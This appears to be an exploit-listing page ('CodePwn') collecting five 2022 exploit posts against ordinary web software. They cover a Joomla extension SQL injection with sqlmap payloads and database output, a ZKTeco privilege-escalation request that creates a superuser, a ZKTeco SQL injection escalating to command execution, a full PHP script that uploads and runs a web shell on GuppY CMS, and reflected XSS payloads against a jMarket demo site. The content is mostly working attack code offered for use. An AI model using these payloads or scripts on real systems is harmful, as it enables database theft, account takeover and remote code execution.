Latest exploits :: CodePwn

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Exploits ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : extensions.joomla.org │ │ Vendor : JoomlaUX - joomlaux.com │ │ Software : JUX Charity Hub 1.0.4 Extension for Joomla │ │ Vuln Type: SQL Injection │ │ Method : GET │ │ Impact : Database Access │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ B4nks-NET irc.b4nks.tk #unix ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ Typically used for remotely exploitable vulnerabilities that can lead to │ │ system compromise │ │ │ │ │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/CryptozJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2022 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Path: /extensions/charityhub/index.php/causes/grid-causes/grid-causes-no-sidebar/causes GET parameter 'title' is vulnerable --- Parameter: title (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: option=com_jux_charity_hub&view=causes&list_style=grid&Itemid=107&title=-7388' OR 2114=2114#&goal_slider_lower=3000&goal_slider_upper=900000&c_id=10&donated_status=0&country_id=223&jform[locstate]=17&published_up=&published_down=&button=Search Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: option=com_jux_charity_hub&view=causes&list_style=grid&Itemid=107&title=1' AND (SELECT 4175 FROM(SELECT COUNT(*),CONCAT(0x71707a7871,(SELECT (ELT(4175=4175,1))),0x717a626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- GUzX&goal_slider_lower=3000&goal_slider_upper=900000&c_id=10&donated_status=0&country_id=223&jform[locstate]=17&published_up=&published_down=&button=Search Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: option=com_jux_charity_hub&view=causes&list_style=grid&Itemid=107&title=1' AND (SELECT 8556 FROM (SELECT(SLEEP(5)))SnfZ)-- awOv&goal_slider_lower=3000&goal_slider_upper=900000&c_id=10&donated_status=0&country_id=223&jform[locstate]=17&published_up=&published_down=&button=Search --- [+] Starting the Attack [INFO] the back-end DBMS is MySQL web application technology: PHP 7.3.19 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [INFO] fetching current database current database: 'joomlaux_charityhub2' [-] Done </code></pre>

<pre><code>#######################ADVISORY INFORMATION####################### Product: ZKSecurity BIO Vendor: ZKTeco Version Affected: 3.0.5.0_R CVE: CVE-2022-36634 Vulnerability: User privilege escalation #######################CREDIT####################### This vulnerability was discovered and researched by Caio Burgardt and Silton Santos. #######################INTRODUCTION####################### Based on the hybrid biometric technology and computer vision technology, ZKBioSecurity provides a comprehensive web-based security platform. It contains multiple integrated modules: personnel, time & attendance, access control, visitor management, offline & online consumption management, guard patrol, parking, elevator control, entrance control, Facekiosk, intelligent video management, mask and temperature detection module, and other smart sub-systems. #######################VULNERABILITY DETAILS####################### The application's access control management does not check the session's permissions correctly. An attacker with "Person Self-Login" or "User" privilege can create a super user with full privileges in the application #######################PROOF OF CONCEPT####################### POST /authUserAction!edit.action HTTP/1.1 Host: {HOST} User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------291763244192371568695079347 Content-Length: 1956 Origin: http://{HOST}:8088 Connection: close Referer: http://{HOST}:8088/base_index.action Cookie: <INSERT_LOW-PRIVILEGE_COOKIE_HERE> Upgrade-Insecure-Requests: 1 -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="authUser.username" test_privesc -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="authUser.loginPwd" KDla123 -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="repassword" KDla123 -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="authUser.isActive" true -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="authUser.isSuperuser" true -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="groupIds" -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="deptIds" -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="areaIds" -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="authUser.email" -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="authUser.name" -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="authUser.lastName" -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="fingerTemplate" -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="fingerId" -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="logMethod" add -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="un" 1657813612925_286 -----------------------------291763244192371568695079347 Content-Disposition: form-data; name="systemCode" base -----------------------------291763244192371568695079347-- #######################END####################### </code></pre>

<pre><code>#######################ADVISORY INFORMATION####################### Product: ZKSecurity BIO Vendor: ZKTeco ( https://www.zkteco.com/en/ZKBiosecurity/ZKBioSecurity_V5000_4.1.2) Version Affected: 4.1.2 CVE: CVE-2022-36635 Vulnerability: SQL Injection (with a plus: RCE) #######################CREDIT####################### This vulnerability was discovered and researched by Caio Burgardt and Silton Santos. #######################INTRODUCTION####################### Based on the hybrid biometric technology and computer vision technology, ZKBioSecurity provides a comprehensive web-based security platform. It contains multiple integrated modules: personnel, time & attendance, access control, visitor management, offline & online consumption management, guard patrol, parking, elevator control, entrance control, Facekiosk, intelligent video management, mask and temperature detection module, and other smart sub-systems. #######################VULNERABILITY DETAILS####################### The parameters opTimeBegin e opTimeEnd are simply concatenated to the SQL query, with only a sanitization filter in front of it. Using comments (/**/) in place of spaces was enough to confuse and bypass the filter. #######################PROOF OF CONCEPT####################### Note that the request delayed 10s: POST /baseOpLog.do HTTP/1.1 Host: {HOST} Content-Type: application/x-www-form-urlencoded Cookie: SESSION={COOKIE}; menuType=icon-only Content-Length: 208 list&pageSize=50&opTimeBegin=2022-06-26%2000:00:00')/**/tmp_count;select/**/pg_sleep(10);/**/select+1+from+BASE_OPLOG/**/WHERE/**/'1'='1&opTimeEnd=2022-09-26%2023:59:59&sortName=&sortOrder=&posStart=0&count=50 if you use the next query, you can execute remote command: list&pageSize=50&opTimeBegin=2022-04-11%2000:00:00&opTimeEnd=2022-07-11%2023:59:59')/**/tmp_count;DROP/**/TABLE/**/IF/**/EXISTS/**/cmd_exec;CREATE/**/TABLE/**/cmd_exec/**/(cmd_output/**/text);COPY/**/cmd_exec/**/FROM/**/PROGRAM/**/'ping+domain';SELECT/**/*/**/FROM/**/cmd_exec;/**/SeLECT/**/count/**/(1)/**/fRom/**/(SeLECT/**/t.CREATE_TIME/**/fROM/**/BASE_OPLOG/**/t/**/where/**/'1'=' #######################END####################### </code></pre>

<pre><code># Exploit Title: GuppY 6.00.10 CMS Remote Code Execution # Date: Sep 30, 2022 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://www.freeguppy.org/ # Software Link: https://www.freeguppy.org/fgy6dn.php?lng=en&pg=279927&tconfig=0#z2 # Version: 6.00.10 # Tested on: Linux #!/usr/bin/php <?php $username = "Admin"; //Administrator username $password = "rose1337"; //Administrator password $options = getopt('u:c:'); if(!isset($options['u'], $options['c'])) die("\n GuppY 6.00.10 CMS Remote Code Execution \n Author: Chokri Hammedi \n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n \n"); $target = $options['u']; $command = $options['c']; // Administrator login $cookie="cookie.txt"; $url = "{$target}guppy/connect.php"; $postdata = "connect=on&uuser=old&pseudo=".$username."&uid=".$password; $curlObj = curl_init(); curl_setopt($curlObj, CURLOPT_URL, $url); curl_setopt($curlObj, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curlObj, CURLOPT_HEADER, 1); curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false); curl_setopt ($curlObj, CURLOPT_POSTFIELDS, $postdata); curl_setopt ($curlObj, CURLOPT_POST, 1); CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True); CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True); CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30); CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30); curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie"); curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie"); $result = curl_exec($curlObj); // uploading shell $url2 = "{$target}guppy/admin/admin.php?lng=en&pg=upload"; $post='------WebKitFormBoundarygA1APFcUlkIaWal4 Content-Disposition: form-data; name="rep" file ------WebKitFormBoundarygA1APFcUlkIaWal4 Content-Disposition: form-data; name="ficup"; filename="shell.php" Content-Type: application/x-php <?php system($_GET["cmd"]); ?> ------WebKitFormBoundarygA1APFcUlkIaWal4-- '; $headers = array( 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygA1APFcUlkIaWal4', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36', 'Accept-Encoding: gzip, deflate', 'Accept-Language: en-US,en;q=0.9' ); curl_setopt($curlObj, CURLOPT_HTTPHEADER, $headers); curl_setopt($curlObj, CURLOPT_URL, $url2); curl_setopt($curlObj, CURLOPT_POSTFIELDS, $post); curl_setopt($curlObj, CURLOPT_POST, true); curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, false); CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True); CURL_setopt($curlObj,CURLOPT_FOLLOWLOCATION,True); CURL_SETOPT($curlObj,CURLOPT_CONNECTTIMEOUT,30); CURL_SETOPT($curlObj,CURLOPT_TIMEOUT,30); curl_setopt($curlObj,CURLOPT_COOKIEFILE, "$cookie"); curl_setopt($curlObj, CURLOPT_COOKIEJAR, "$cookie"); $data = curl_exec($curlObj); // Executing the shell $shell = "{$target}guppy/file/shell.php?cmd=" .$command; curl_setopt($curlObj, CURLOPT_URL, $shell); curl_setopt($curlObj, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded')); curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, False); CURL_setopt($curlObj,CURLOPT_RETURNTRANSFER,True); curl_setopt($curlObj, CURLOPT_HEADER, False); curl_setopt($curlObj, CURLOPT_POST, false); $exec_shell = curl_exec($curlObj); $code = curl_getinfo($curlObj, CURLINFO_HTTP_CODE); if($code != 200) { echo "\n\n \e[5m\033[31m[-]Something went wrong! \n [-]Please check the credentials\n"; } else { print("\n"); print($exec_shell); } curl_close($curlObj); ?> </code></pre>

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Exploits ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr : │ Website : extensions.joomla.org │ │ Vendor : Joobi │ │ Software : jMarket 5.15 Multi-Vendor Shopping Cart for Joomla │ │ Vuln Type: Reflected XSS │ │ Method : GET │ │ Impact : Manipulate the content of the site │ │ │ │────────────────────────────────────────────────────────────────────────────────────────│ │ B4nks-NET irc.b4nks.tk #unix ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ The attacker can send to victim a link containing a malicious URL in an email or │ │ instant message can perform a wide variety of actions, such as stealing the victim's │ │ session token or login credentials │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL CryptoJob (Twitter) twitter.com/CryptozJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2022 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ GET parameter 'controller' is vulnerable to XSS https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-resultsqmzro%22onmouseover=%22alert(1)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22rqo95my69wy GET parameter 'trucs%5Bx%5D%5Bsearch%5D' is vulnerable to XSS https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs%5Bx%5D%5Bsearch%5D=gx3vt%20onfocus%3dalert(1)%20autofocus%3d%20itkrzsug7w5&trucs%5Bx%5D%5Bcatid%5D=28&option=com_jvouchers&Itemid=236&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&trucs%5Bs%5D%5Bmid%5D=182&trucs%5Bs%5D%5Bpkey%5D=pid&trucs%5B182%5D%5Bpid%5D=0&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWwmY2F0YWxvZ1NlYXJjaElucHV0U2l6ZT0xMDAlJmF1dG9zYXZlPTE%3D GET parameter 'vWjx' is vulnerable to XSS https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=home&wajx=1&wmjx=1&tmpl=component&type=raw&limitstartw44_a45a2eb907d344c4d11b95b39a363661=20&vWjx=sabif%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20ax650sfkaze&vWdjx=44&fRmjx=wf_catalog_results_catalog_search_results&trucs%5Bx%5D%5Bsearch%5D=Search...&choicesorting=newest&option=com_jvouchers&Itemid=236&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&limitstartw44_a45a2eb907d344c4d11b95b39a363661=0&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWw%3D GET parameter 'Itemid' is vulnerable to XSS https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs%5Bx%5D%5Bsearch%5D=Search...&trucs%5Bx%5D%5Bcatid%5D=28&option=com_jvouchers&Itemid=is9fk%20onfocus%3dalert(1)%20autofocus%3d%20f7adumy8lgl&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&trucs%5Bs%5D%5Bmid%5D=182&trucs%5Bs%5D%5Bpkey%5D=pid&trucs%5B182%5D%5Bpid%5D=0&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWwmY2F0YWxvZ1NlYXJjaElucHV0U2l6ZT0xMDAlJmF1dG9zYXZlPTE%3D GET parameter 'trucs%5B182%5D%5Bpid%5D' is vulnerable to XSS https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs%5Bx%5D%5Bsearch%5D=Search...&trucs%5Bx%5D%5Bcatid%5D=28&option=com_jvouchers&Itemid=236&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&trucs%5Bs%5D%5Bmid%5D=182&trucs%5Bs%5D%5Bpkey%5D=pid&trucs%5B182%5D%5Bpid%5D=ugb9n%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20zn67rnvkbhb&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWwmY2F0YWxvZ1NlYXJjaElucHV0U2l6ZT0xMDAlJmF1dG9zYXZlPTE%3D [-] Done </code></pre>